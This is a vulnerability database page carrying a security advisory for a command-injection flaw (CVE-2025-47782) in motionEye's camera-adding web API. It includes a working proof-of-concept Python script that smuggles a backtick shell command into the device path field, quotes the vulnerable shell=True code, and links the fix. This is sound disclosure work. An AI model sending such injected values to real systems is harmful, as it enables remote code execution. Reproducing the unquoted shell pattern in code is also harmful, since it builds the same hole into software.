GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-G5MQ-PRX7-C588

Vulnerability from github – Published: 2025-05-15 16:10 – Updated: 2025-05-15 16:10
VLAI
Summary
motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
Details

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

  1. post
  2. add_camera
  3. config.add_camera
  4. v4l2ctl.list_resolutions
  5. utils.call_subprocess
  6. subprocess.run

PoC

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \
  --network host \
  --build-arg="RUN_UID=${RUN_UID?}" \
  --build-arg="RUN_GID=${RUN_GID?}" \
  -t "${USER?}/motioneye:${TIMESTAMP}" \
  --no-cache \
  -f docker/Dockerfile .

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
    INFO: hello! this is motionEye server 0.43.1b3
   DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
   DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
   DEBUG: listing config dir /etc/motioneye...
   DEBUG: found camera with id 1
   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
   DEBUG: loading additional config structure for camera, without separators
   DEBUG: Using selector: EpollSelector
   DEBUG: searching motion executable
   DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
    INFO: cleanup started
    INFO: wsswitch started
    INFO: tasks started
    INFO: mjpg customer garbage collector has started
    INFO: server started

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

Image

Image

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,
        shell=shell,
        cwd=cwd,
        timeout=timeout,
        check=check,
        encoding=encoding,
        errors=errors,
        text=text,
        env=env,
    ).stdout.strip()

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

https://github.com/motioneye-project/motioneye/issues/3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:10:48Z",
    "nvd_published_at": "2025-05-14T16:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n  --network host \\\n  --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n  --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n  -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n  --no-cache \\\n  -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm  -d   -p 8765:8765   --hostname=\"motioneye\"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n    INFO: hello! this is motionEye server 0.43.1b3\n   DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n   DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n   DEBUG: listing config dir /etc/motioneye...\n   DEBUG: found camera with id 1\n   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n   DEBUG: loading additional config structure for camera, without separators\n   DEBUG: Using selector: EpollSelector\n   DEBUG: searching motion executable\n   DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n    INFO: cleanup started\n    INFO: wsswitch started\n    INFO: tasks started\n    INFO: mjpg customer garbage collector has started\n    INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n  \"proto\": \"v4l2\",\n  \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n  \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n    from motioneye import motionctl\n\n    device = utils.make_str(device)\n\n    if device in _resolutions_cache:\n        return _resolutions_cache[device]\n\n    logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n    resolutions = set()\n    output = b\u0027\u0027\n    started = time.time()\n    cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n    logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n    try:\n        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n    except:\n        logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n    output = utils.make_str(output)\n\ndef call_subprocess(\n    args,\n    stdin=None,\n    input=None,\n    stdout=subprocess.PIPE,\n    stderr=DEV_NULL,\n    capture_output=False,\n    shell=False,\n    cwd=None,\n    timeout=None,\n    check=True,\n    encoding=\u0027utf-8\u0027,\n    errors=None,\n    text=None,\n    env=None,\n) -\u003e str:\n    \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n    return subprocess.run(\n        args,\n        stdin=stdin,\n        input=input,\n        stdout=stdout,\n        stderr=stderr,\n        capture_output=capture_output,\n        shell=shell,\n        cwd=cwd,\n        timeout=timeout,\n        check=check,\n        encoding=encoding,\n        errors=errors,\n        text=text,\n        env=env,\n    ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
  "id": "GHSA-g5mq-prx7-c588",
  "modified": "2025-05-15T16:10:48Z",
  "published": "2025-05-15T16:10:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…